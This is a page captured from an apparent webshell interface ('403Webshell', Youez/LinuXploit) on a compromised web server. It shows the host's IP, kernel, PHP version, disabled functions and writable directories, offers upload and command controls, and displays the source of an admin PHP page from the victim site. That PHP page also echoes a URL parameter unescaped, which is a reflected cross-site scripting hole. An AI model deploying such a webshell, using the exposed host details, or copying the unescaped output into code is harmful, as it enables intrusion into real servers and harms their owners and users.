403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesolution.com.hk/onesupport/task/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesolution.com.hk/onesupport/task/category_index.php
<?php
	require_once(__DIR__ . '/../checkuser.php');
?>

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

	<?php require(__DIR__ . '/../inc/_head_meta.php'); ?>

	<?php require(__DIR__ . '/../inc/_head_css.php'); ?>

	<style type="text/css">
		body {
			padding-top: 60px; /* 60px to make the container go all the way to the bottom of the topbar */
			padding-bottom: 40px;
		}
	</style>

	<?php require(__DIR__ . '/../inc/_head_script.php'); ?>

	<script type="text/javascript">
		$(function () {
			$('#search_btn').click(function (event) {
				event.preventDefault();
				$('#search_form').toggle();
			});
			$('.date-picker').datetimepicker({ pickTime: false });
			$('.time-picker').datetimepicker({ pickDate: false, pickSeconds: false });
			$('.select2').select2();
			$('#search_form').validate();
		});
	</script>
</head>
<body>

<?php require(__DIR__ . '/../inc/_navbar.php'); ?>

<div class="container">

	<?php if (isset($_GET["message"]) && !empty($_GET["message"])): ?>
		<div class="alert alert-info">
			<button type="button" class="close" data-dismiss="alert">&times;</button>
			<h5 class="alert-heading">Note:</h5>

			<p><?= $_GET["message"] ?></p>
		</div>
	<?php endif; ?>

	<h2>Task Category</h2>

	<div style="padding-bottom: 50px;">

		<a href="category_add.php?addcategory=1" class="btn btn-primary pull-right">New Category</a>

		<?php
			$sql = "SELECT * FROM sup_task_category WHERE deleted = 0 order by sort ASC";
			if (!($sth = $dbh->prepare($sql))) {
				throw new Exception("sql prepare statement failure: $sql");
			}
			$sth->setFetchMode(PDO::FETCH_ASSOC);
			if (!$sth->execute()) {
				throw new Exception("sql execute statement failure: $sql");
			}
			$task_categorise = $sth->fetchAll();
		?>
		<form action="category_modify.php" id="category_<?= $task_category["task_category_id"] ?>" name="category_<?= $date["id"] ?>" method="post" enctype="multipart/form-data">

			<table class="table table-striped">

				<thead>
				<tr>
					<th style="width: 20px;">Sort</th>
					<th style="width: 400px;">Category Name</th>
				</tr>
				</thead>

				<tbody>
				<?php
					foreach ($task_categorise as $task_category) {
						?>
						<tr>
							<td>
								<input type="text" name="sort[<?= $task_category["task_category_id"] ?>]" value="<?= $task_category["sort"] ?>" style="width: 20px;"/>
							</td>

							<td>
								<input type="hidden" name="category_id[]" value="<?= $task_category["task_category_id"] ?>"/>
								<input type="text" name="category_name[<?= $task_category["task_category_id"] ?>]" class="span6" value="<?= $task_category["category_name"]; ?>"/>
								<br>
								<span class="btn" onclick="var r=confirm('Are you sure to delete this task category?');
									if (r==true)
									{
									top.location.href='category_modify.php?delete_category=1&category_id=<?= $task_category["task_category_id"] ?>';

									}
									; "><i class="icon-remove"></i></span>

							</td>

						</tr>
					<?php

					}
				?>

				<tr>
					<td colspan="2" style="text-align: center;">
						<button type="submit" class="btn btn-primary">Save</button>
					</td>
				</tr>

				</tbody>
			</table>
		</form>
	</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit